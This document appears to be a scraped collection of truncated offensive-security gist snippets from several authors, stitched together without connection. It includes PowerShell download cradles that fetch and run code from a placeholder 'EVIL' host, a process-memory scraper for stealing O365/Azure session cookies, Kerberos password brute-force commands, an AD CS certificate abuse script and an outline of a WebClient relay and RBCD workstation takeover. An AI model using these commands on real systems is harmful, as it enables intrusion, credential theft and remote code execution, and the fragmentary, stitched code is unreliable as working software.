rvrsh3ll

function Invoke-SMBShellcodeLoad {
    <#
    .SYNOPSIS
    Short description
    
    .DESCRIPTION
    Long description
    
    .EXAMPLE
    An example

milo2012

#!/usr/bin/python
'''
$ python sniffCert.py -h
Usage: sniffCert.py [options]

Options:
  -h, --help      show this help message and exit
  -i INTERFACENO  Interface to sniff
  
$ python sniffCert.py -i en0

leechristensen

Install-Module NtObjectManager
Import-Module NtObjectManager

$Servers =  Get-RpcServer -Path C:\Windows\system32\efssvc.dll `
            -DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll'
$EfsInterace = $Servers | Where-Object { $_.InterfaceId -eq 'df1941c5-fe89-4e79-bf10-463657acf44d' }
$client = Get-RpcClient -Server $EfsInterace

$client.Connect()

gladiatx0r

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

LuemmelSec

# This scriplet relies on https://github.com/glmcdona/strings2
# Import the script: PS> import-module .\Process_String_Extractor.ps1
# Run the function: PS> ScrapeProcessMemory -Strings2Path "D:\Tools\Strings2.exe" -Processname notepad -SearchString "Hello World"
# To extract Cookies for O365 / Azure PTC Attack: PS> ScrapeProcessMemory -Strings2Path "D:\Tools\Strings2.exe" -Processname chrome -SearchString "ESTSAUTH","SignInStateCookie"

function ScrapeProcessMemory {
        Param(
            [Parameter(Mandatory)]
            [string]$Processname,
            [Parameter(Mandatory)]

amanelis

#NMAP Guide

1. Basic scan to see what ports have a valid service running on them:

   nmap {host} nmap -v {host}

Pass the -v flag to print a little more information.

b4cktr4ck2

#Thank you @NotMedic for troubleshooting/validating stuff!

$password = Read-Host -Prompt "Enter Password"
#^^ Feel free to hardcode this for running in a beacon/not retyping it all the time!

$server = "admin" #This will just decide the name of the cert request files that are created. I didn't want to change the var name so it's server for now. 
$CERTPATH = "C:\Users\lowpriv\Desktop\" #Where do you want the cert requests to be stored?
$CAFQDN = "dc01.alexlab.local" #hostname of underlying CA box.
$CASERVER = "alexlab-dc01-ca" #CA name.
$CA = $CAFQDN + "\" + $CASERVER

gladiatx0r

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object